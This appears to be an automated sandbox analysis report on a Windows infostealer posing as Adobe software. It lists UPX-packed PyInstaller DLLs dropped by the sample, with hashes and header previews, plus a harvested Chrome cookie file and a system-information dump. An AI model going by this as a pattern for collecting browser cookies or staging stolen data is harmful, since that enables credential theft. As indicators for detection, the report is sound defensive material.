SHA-256:	3F94EE4F23F6C7702AB0CC12995A6457BF22183FA828C30CC12288ADF153AE56
SHA-512:	5473FE57DC40AF44EDB4F8A7EFD68C512784649D51B2045D570C7E49399990285B59CFA6BCD25EF1316E0A073EA2A89FE46BE3BFC33F05E3333037A1FD3A6639
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....@................................................................`.........................................................................................................................................................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\libssl-1_1.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202432
Entropy (8bit):	7.916943155937212
Encrypted:	false
SSDEEP:	6144:2KEAslm/r4HLTmpLdH29Vam7bJnm8yPR:2U6+mTmpcram7NNy
MD5:	88803AAC099CCCF4AF3496BFABDC8865
SHA1:	3EEE4E685E0084F13935870BE3E2C7DDDB1975E4
SHA-256:	C524B961D036C9E95AE4D9E40E8B4F897A4F0772CF1D78AC0287AF84FE918CAD
SHA-512:	50BD41771E50E9C20AD871BE9433F6E88C3CD799A6F64D7AD19265228468A8572904EC2D9B3B8FF053B23230EC1326A175DF09CB0380E60D8EFDD11AB446F8FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...BkT.BkT.BkT.:.T.BkT.jU.BkT.jU.BkT.nU.BkT.oU.BkT.*hU.BkT(+jU.BkT.BjThCkT(+oU.BkT(+kU.BkT(+.T.BkT(+iU.BkTRich.BkT........................PE..d....El`.........." .........P...P..P....`...................................`............`.............................................4@.......................K...........V......................................P...............................................UPX0.....P..............................UPX1.........`......................@....rsrc....P.......H..................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.756084875002629
Encrypted:	false
SSDEEP:	768:nrA/j6Vq1p3Kuu42ShVZmBKDRAdlq9gYe7JSp+AG:Wjz1p3dVZmBJQgpNA
MD5:	FA4A63CC5BBC7B119DDEB9469B17A55D
SHA1:	72EF6F8E5E7FE13EA64973E05DB297C8455754FB
SHA-256:	EE2EACA1473E460BEFEBBC0149BA1A4537A9C9303C10AAA2FF6D8C8F74AC8BA3
SHA-512:	77D0E34A46D0C05C9DE527283F726E6A7C96FE473D0C6A6F707EEA14F3BE4D1383BBD03B552C27455175ECC66CFF242177829154CA6EA4A12D704DE285693F41
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.][~.3.~.3.~.3.w...t.3.,.2.\|.3.,.6.r.3.,.7.v.3.,.0.z.3...2.\|.3.5.2.o.3.~.2...3...;.r.3...3...3.......3...1...3.Rich~.3.........PE..d.....ic.........." ............. .......0................................................`.........................................8...`......H............P..4......................................................8...........................................UPX0..... ..............................UPX1.........0...~..................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\pyexpat.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.907238064399988
Encrypted:	false
SSDEEP:	1536:Xp6V6J1lSnf2bGaeYiO3YM6gl7Sm24a1WUxCosj8dVu4pFUr9j2nNYsvkBExg9IE:oVY1InOb3ezY7Sm1a11xC/8SsMIIBh91
MD5:	5F5C5041C392FA352223F248F056639F
SHA1:	5FB30449F84653B3B26B1E2820577A67FD52AFB0
SHA-256:	044751B6EB51B5D2E75394F7DA265747063101F2310E1D0AB6AB79DF7F589BE3
SHA-512:	DE0F31D3B11DC45AB62EE0696B2031814A3D7F7DBAED98A27E87191850038A3930769B49826CB1D8E44D4F29A632EAB65277BB52156C917B599CC06E9F0B1718
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.;f..U5..U5..U5...5..U5s.T4..U5s.P4..U5s.Q4..U5s.V4..U5..T4..U5D.T4..U5..T5o.U5..X4..U5..U4..U5..5..U5..W4..U5Rich..U5........PE..d...u.`.........." ..... ..........p(... ...................................P............`.........................................tL..P....I.......@.......................L......................................p4..8...........................................UPX0....................................UPX1..... ... ......................@....rsrc........@......................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\python3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59568
Entropy (8bit):	5.881803359169673
Encrypted:	false
SSDEEP:	768:bS99q+0o22ByfbEap+VCBQ53gUiT5pLFdBk4/yFi1nuVwWBjChtFyrUdmd9RSxD0:M9xiEAnUvdy5IIB0/ya7
MD5:	C9F0B55FCE50C904DFF9276014CEF6D8
SHA1:	9F9AE27DF619B695827A5AF29414B592FC584E43
SHA-256:	074B06AE1D0A0B5C26F0CE097C91E2F24A5D38B279849115495FC40C6C10117E
SHA-512:	8DD188003D8419A25DE7FBB37B29A4BC57A6FD93F2D79B5327AD2897D4AE626D7427F4E6AC84463C158BCB18B6C1E02E83ED49F347389252477BBEEB864AC799
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............d...d...d.0.l...d.0.d...d.0.....d.0.f...d.Rich..d.................PE..d...j.`.........." ......................................................................`.........................................` ..@............................................ ..T............................................................................text............................... ..`.rdata..d.... ......................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\python38.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1436848
Entropy (8bit):	7.991911842353948
Encrypted:	true
SSDEEP:	24576:4x/FMCGq6fqOD+5QKiQ6SqHPz5nTD8DRr7iNh+PyteisMfU5cSNdFHpFetZv710+:sSCYfqVmK56SK9TD80ptebRNXHpFeg+
MD5:	7AB78070CA047F134156169C60CCA0A3
SHA1:	F3FE769A202936D4C533A643F9A8B7CBDDA61CA4
SHA-256:	C57BD27215609ECA66BEA7F88F4B5CE3BF39486DFDBAB7D5C684270507627D22
SHA-512:	2F3CD43BEB3E0E1EA1581337289566159A707F3314852DC88C0353A65DD4A6D549AAC1EA66974893EC99A3C1E28B932D7D3AB9E612D102CB6211772F594181F1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`....................................................................j...q...j.......j.....j.......Rich............................PE..d...a.`.........." .............`...\C..p...................................PD...........`.........................................8.C......yC.L....pC......p@..............AD......................................hC.8...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........pC.....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pythoncom38.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	200192
Entropy (8bit):	7.903772238406268
Encrypted:	false
SSDEEP:	3072:s7yyhL4NvlJyiWXG3OfJHe3ACEVXTCTWoKQnJhHkKwONMGsnG2bQUHJPpdir:sRhL4rsiWsWBibwevEKwO2GEGAtpd
MD5:	E66C96A48F85B9F0B44D5006AEA7DAAC
SHA1:	2E5ADB142EA5BB79DCDA2B72671B76855B85F633
SHA-256:	EAEA8C3093EA2F566F7EF3F95CEF86E58FB9889E6D0423D6F0E182C86D6472FC
SHA-512:	6659451D4495A8697A36205F80CF5174070BE354796B4618ED3C615D3335E4E4A5D47CFD1C4F8D3516A36FEAF8E81D5CB6F53006F2A3BEB2977D105C71975763
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x...+...+...+.P+...+......+......+......+......+......+.....+.....+.....+...+...+......+......+...*...+Rich...+................PE..d...a..d.........." .........p... .......0...................................@............`......................................... ....c..`...........`........z...........:..........................................8...........................................UPX0..... ..............................UPX1.........0......................@....rsrc....p.......l..................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pywintypes38.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	7.595690275773314
Encrypted:	false
SSDEEP:	1536:48yGA8d6epdvLhWVhLAS1FjL9NxFRgCbTp4SZt8ei:9x7hYLAgFjLnxFV/p4le
MD5:	C9B84B1AC14813C7C8FC5E7AB6EF788B
SHA1:	C5EED330F129E5C6A9B817AD081CF8722E9EB147
SHA-256:	F1D4431DA1300B9FE40DBE6C1E2C8311CD7F458EA1D8F2DB234137CF57C5D2D2
SHA-512:	BD4B3AF8C9B87110197EA64572E97EA027EAD198EB24DE8EEE43BB70913E53BF96368FF2C1BF4D2BB5DB3EAB24DDB9F043760CF5A64EF6BBAF09DC63000ECA26
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.$.J.w.J.w.J.w.2Kw.J.w.?.v.J.w.%%w.J.w.?.v.J.w.?.v.J.w.?.v.J.w.!.v.J.w.,.v.J.w.!.v.J.w.J.wNJ.wh?.v.J.wh?.v.J.wh?.v.J.wRich.J.w................PE..d......d.........." .........P...........................................................`.........................................h...`B..h...........h....0.........................................................8...........................................UPX0....................................UPX1................................@....rsrc....P.......J..................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\select.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22192
Entropy (8bit):	7.347287608561872
Encrypted:	false
SSDEEP:	384:Q9Pj6VLmXzJIGHkjCc4PevAZa7gJXdMrIImGbJ7EDG4y8iD0hS:1VSXzSIpNMrIImGbJYDG4y+hS
MD5:	BFCE179B385145F6C0CB73AAC30318C1
SHA1:	FF59AB14CBEB00A9C68369D998B101102673B6E2
SHA-256:	04F0936EC038FF18927B5DEF896DB658B64F6DC9E6275E6AD03A7436D4F9A80A
SHA-512:	A82ED3398C4F1C0D0AB8A5F5E75735D6D05D6F02C9B0A97EDB478482A0F3BEE0F49FEA35C5AFDFE373C33ADE510D0EBFF8DD02B0131D961BE7E5B5DDCBFDB88F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.D.J.D.J.D.C...H.D.&.E.H.D.&.A.A.D.&.@.B.D.&.G.N.D...E.H.D...E.O.D.J.E.t.D...I.K.D...D.K.D....K.D...F.K.D.RichJ.D.........PE..d...o.`.........." .....0.......... .....................................................`.........................................d...L.......\|............`......................................................0...8...........................................UPX0....................................UPX1.....0.........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\ucrtbase.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1035728
Entropy (8bit):	6.630126944065657
Encrypted:	false
SSDEEP:	24576:EsKxVJ/pRRK0Y/9fCrl4NbpjONcncXEomxvSZX0yp49C:lKxDPHQCrlQBXxw
MD5:	849959A003FA63C5A42AE87929FCD18B
SHA1:	D1B80B3265E31A2B5D8D7DA6183146BBD5FB791B
SHA-256:	6238CBFE9F57C142B75E153C399C478D492252FDA8CB40EE539C2DCB0F2EB232
SHA-512:	64958DABDB94D21B59254C2F074DB5D51E914DDBC8437452115DFF369B0C134E50462C3FDBBC14B6FA809A6EE19AB2FB83D654061601CC175CDDCB7D74778E09
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........of...5...5...5..5...5...5&..5...5...5...4...5...4...5...4...5...4...5...4..5...5...5...4...5Rich...5........PE..d.....$%.........." .....:..........0Z..............................................7^....`A................................................................. ...........!.............p........................... f..............................................text...09.......:.................. ..`.rdata..^....P.......>..............@..@.data....&..........................@....pdata....... ......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\unicodedata.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	287408
Entropy (8bit):	7.985748275421679
Encrypted:	false
SSDEEP:	6144:GftoxCDFCv7FooOAr+MLDhGX2TUY2E/xFb30whI1o/yOp8wH2UN8u6ih6:CDDovNrRGGTvF5FZhI1o/yS88Ndh6
MD5:	F9486E61971743562E9CDFAC3B26B9B8
SHA1:	827CC385D614535A17C37A899017E95ABEE90384
SHA-256:	D35630AC31C32CEB5098EB2E63B029EBEE37167C6DA320F07574A244A8336554
SHA-512:	5BAC1699C2B11FBA9A25112672DC30F2DD7A1058161066939667F467470CDDACF6E8DDBB0AFAAB0395BCBFFE67743231640CD70ACB9DCAD2645743F5F0DBCFF5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.T~~.:-~.:-~.:-w..-x.:-..;,\|.:-..?,r.:-..>,v.:-..9,}.:-..;,}.:-%.;,\|.:-~.;-4.:-..7,..:-..:,..:-...-..:-..8,..:-Rich~.:-........................PE..d...q.`.........." .....@................................................... ............`.............................................X.......................H...........D...........................................8...........................................UPX0....................................UPX1.....@.......4..................@....rsrc................8..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\_win32sysloader.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	6.768385706088112
Encrypted:	false
SSDEEP:	192:BhVG7AsfBUmejljLpciF5JEw/80/cwDIvkYj273QJXhEDE/wx8p:omjhZF5JEw005IvZa7gJXOE/wx
MD5:	75BE08C4B0982D2BEE8BFDC3571B90BC
SHA1:	F131B660569166243CECC1EAEE7EF2427D968D4E
SHA-256:	871079FF742DD22E944820510D723BF140E69397814BA9F1C1CEE13421CBEB09
SHA-512:	888CDA61F383C57F6781441B781F2EA4596D4BF24FF9E11DB8DC59D7A244ECAEE7E06BA86A67E32A13E2A5A78C597D013474AFCDA178D38E832E364830603E01
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tf...........m......`.....~......`......`......`.....s...........k`.....k`.....k`.....Rich....................PE..d......d.........." .....0..........0.....................................................`.............................................`...p...P.......p....`.............. .......................................0...8...........................................UPX0....................................UPX1.....0.......$..................@....rsrc................(..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32api.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	7.856075315952315
Encrypted:	false
SSDEEP:	1536:rCqUvYAXWuxLjyimF6As/Z3bGUuvsCVXCaue:rCqwtr/yimoxB3dukte
MD5:	A5164377C56078FA97E42C4CCD7E3C17
SHA1:	5D4E05710848E757D52DAA0C2A9DD806FA22D35A
SHA-256:	B00E9D8604CF0E3436E5F44AF51C352762089D5EED53F84FB109E1EDDF7F1A84
SHA-512:	63E3D98CA3E1DCE64D0D5F49695CD7B3740154D6D9F6E23A2E84687E54D414C41BCAB07626EA685A350E55A3414EF10FC429910CE06B9AF240B2796C536A6202
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.uV.z...z...z.......z..J....z..J....z..J....z.......z.......z..J....z.......z...z..O{.......z.......z.......z..Rich.z..........................PE..d......d.........." ................0.....................................................`.................................................X...........X.... ......................................................0...8.......................@...................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32net.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	7.6971745920156325
Encrypted:	false
SSDEEP:	768:Zzr7HjHd8/GHaJ31sd2rhSky7aY0jDN8CK/yPebpLNf:ZzPHbd8JFsd2rJXYcRKMeZNf
MD5:	DD20D1245098A40C8729A931B5402718
SHA1:	228E9EA731D3A2EE8C227C78523F9285314FC6E0
SHA-256:	9228F21326C91E1FBD620328D8C33B52DB7743943C8890F1EC65287206DEACD2
SHA-512:	2259793ED01162428FE68C0BB8A2A87577F4129478A179D1151D8332A7190E60B18ACBEF5C40B10CD901DEB01528D3D7E658B0E81D21BF6C4E67A2E214E68594
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:.U.T.U.T.U.T.\..Q.T...U.Q.T...Q.D.T...P.].T...W.V.T...U.W.T.A.U.W.T.A.U.R.T.U.U..T...].R.T...T.T.T...V.T.T.RichU.T.........PE..d......d.........." ......................................................... ............`.............................................P...X...........X...................X...........................................8...........................................UPX0....................................UPX1.............z..................@....rsrc................~..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32security.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.823054231458668
Encrypted:	false
SSDEEP:	1536:kvdj32qzofwYTVzIiX8ARibgxe8+ShUV:sdCcoRFXA6rvUV
MD5:	502D5987825F4F6D4627D6C80088743A
SHA1:	77FFEDE001A1207D549A3B55625478A866D7E5AC
SHA-256:	5B3C7EE3E22B1839C1C6C515C03FB31E6E792DB99E825135B281A64A5AB7C252
SHA-512:	1494D316C7B89ED0DFA620F6914F765CF4BFFCF5B508045D5B1D29719F655947424887A21172F164CA0D5CC018703DE3C5D20FB52AFF2F0B3D6089475F600BC7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L)i^-G:^-G:^-G:WU.:V-G:.XF;Z-G:.XB;O-G:.XC;V-G:.XD;]-G:.XF;\-G:JKF;\-G:JFF;W-G:^-F:.-G:.XN;]-G:.XG;_-G:.XE;_-G:Rich^-G:........................PE..d......d.........." ..................... ................................................`.................................................h...........h....`..........................................................8...........................................UPX0....................................UPX1......... ......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32trace.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	7.096312139520411
Encrypted:	false
SSDEEP:	384:9mIxvg14DDBoqz0VMUW6u7D5rm4Za7gJXH51BJN:HV+4poPV/W/n59p3bB7
MD5:	3B821D786242A4BA72F8EAD9FA6DB6DA
SHA1:	EE5BD3D7919564A1DBD6751DF833089105A5E3C1
SHA-256:	B890A6781AB64F4EF12F507DCCFD617445362645FCC20963679D627DB97298DD
SHA-512:	F936C88701EDAF14578F8AB1B5AD530FFD83FB0DD60320D19734EAC48E71C49459D93F66AFF59B78734545C3F2CB9370412D1E0165DC439E22B3B652D84A63D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*U.bD..bD..bD......bD...E..bD...A..bD...@..bD...G..bD.?.E..bD...E..bD...E..bD..bE..bD.?.M..bD.?.D..bD.?.F..bD.Rich.bD.........PE..d......d.........." .....0................................................................`.............................................T...`...8.......`....p..........................................................8...........................................UPX0....................................UPX1.....0..........................@....rsrc................2..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32wnet.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	7.406348326088368
Encrypted:	false
SSDEEP:	384:+CQ3drserOIUVmRhRgx61UJJ0kKszKHIwZa7gJXLB26tO:+hTU+gx6k4DpbB26tO
MD5:	014AF0E1EAA9A31EAE687F1EAE823810
SHA1:	22BCD2192469992935E00CEB2B0B9A8B90A28C9C
SHA-256:	CACEEE05760DAEFE177B1ABC915A1ABAB512A7F8B0689DDC600F57301A019C6B
SHA-512:	2A7D05D89A395D8A948AA31494D9620DB165CD67A5720519597C000615FB7F7215C62A8E2EFFA1BA6AECFF0E683633BFF33819797263DE007DA233AE725D7882
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........fTG..:...:...:.......:..r;...:..r?...:..r>...:..r9...:.Tr;...:..a;...:..l;...:...;...:.Tr3...:.Tr:...:.Tr8...:.Rich..:.........PE..d......d.........." .....@................................................... ............`.........................................H...H...X...........X...............................................................8...........................................UPX0....................................UPX1.....@.......@..................@....rsrc................D..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\_cffi.cp38-win_amd64.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	264192
Entropy (8bit):	7.9936286609130285
Encrypted:	true
SSDEEP:	6144:3PvqH4ND5vg9tYqXFDy+F1g9xcirKkClmRaGvw0:3PHNDEVGEWxbrKLgYGI0
MD5:	BB5E0471A4CE96408EA8D3B667AABFC9
SHA1:	072E7CDFC513580E6291B368546F42E9764F7C85
SHA-256:	828EE83BE8E6088D3452770301E9888DFA2D48C01BD5ED06922955481F0A1FC3
SHA-512:	810771F87692124100C2E5275F18505E28DE0A4AF546954F8C8DA1971AFBD2D9BB817B928257B7A3CFC3D30DFAAC20D002CCF8B2F4FE3362E44B74BC2B2DA954
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n............#.8. ...e..(...a..(...e..'...e.."...e.........)......b......(......+.....T.+......+...Rich*...........PE..d.....<d.........." ...".........@...B...P...................................`............`.........................................lS..X....P..\|....P..........$H...........S.......................................N..@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc........P......................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\backend_c.cp38-win_amd64.pyd

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	233984
Entropy (8bit):	7.9891918400504665
Encrypted:	false
SSDEEP:	6144:k61SUiamsDELcQvCVd5RYFwDs2dfDgBTgyX75vOIW43whQDL:k4SUrIFvCnYqZfcTVNvLlH
MD5:	7EEBDF85AFD93370AA72A607049C7564
SHA1:	A60FA68592F9D3AA06C220C865782FF3E92C025B
SHA-256:	41A3712D497420B701A938F6FDABC93589D083079A53AFF7EC0F55C8C3A07D32
SHA-512:	6EEB5AD15DDE41D1A67A3DCA4DEE0DC06CE5D382DC2F2CBAF2B6D04D4CD72785786E4AEF6F345032802B70F13C49282683AD92A064FECF3C0592DABA04F90E74
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t............................................................E...............[.......[.......[.....[.......Rich............PE..d...x.<d.........." ..."............P+.......................................P............`......................................... C..`....@..0....@..........x<...........C......................................P7..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	6.005544722730675
Encrypted:	false
SSDEEP:	12:c7F2v4kMx/6UsMbf4/LJPhvkRj6a9kuEYTCRopYxOOVtouEYv:SCJyHXbfQJPh8RdkYiFoYv
MD5:	987FB1A1830B0EB5C0D306F8A2DE9981
SHA1:	8374E6320AD99C3FF177A9889F1AB75448F6EB19
SHA-256:	5EF24A6CE57CA3048431555909EC23CD5494DA76845F84271946442249DDA891
SHA-512:	9E2A48264084B79051FC275DD7780A5552B56220459A1CDDBE6F6A307FE0E5759AE20BC243D085D9734153879AC4E66233AB83F92551DD8092EABF85B16F2D15
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712298002.NID.ENC893_djEwx6CLkXLg8AuSZWCgylmAsMNnd1LSfbcL+IfCgMvX/m5IrzdSwxt6X6n5S6C7wCoUoWvuixZpzrMizGZc5ohIpmsvlOrGTOhFkQ4+lCF6fVH0QNPBBb27o2nXM8em7EAYS1bYZC2LV04SqpgyxJmdfFA7UyWUoK8kFZQDRl0vdOzWdvAoumw2skuCCtJC2oG3z3OYbLTLDbM7wYvVmfDeqtnZRihAAt+ptqI6cfY1a+KO9XP+4XkDSXW7JhsexYHBqzSSBmUisGZ7f9E=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=...google.com.FALSE./.TRUE.1699078840.1P_JAR.ENC893_djEwZKzV9KAslchfQWnVTck71JHMVRC24lvAWgdl5WpYIXlINsbQSVWzkKU=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=..

C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7274
Entropy (8bit):	5.478642233576638
Encrypted:	false
SSDEEP:	192:x5O+I84IUlzhQOIwkHDM0Hjo6ovxM4iEU1zmYyL2o0peuIx3dgXuVPlRakRWDjXO:VI/IU1hQOIwkHDM0Hjo6ovxM4iEU1zmn
MD5:	BB3152989C322F035D88EDF919E86865
SHA1:	AA1F70A3CF7359F7F28EAB48F092656F0EA81EDB
SHA-256:	0964833A7E114FB95B37DF4F152A02FF66BF286710CB95957229753E414BA514
SHA-512:	AD52721A2C225B7CE46615554C3CA1BA1759EAF782579E7D24B122AB33EBB221480C3F714C353F548ED99EBA41552948D9CD383EB9473ACA0208D7D094AD4BDA
Malicious:	false
Reputation:	unknown
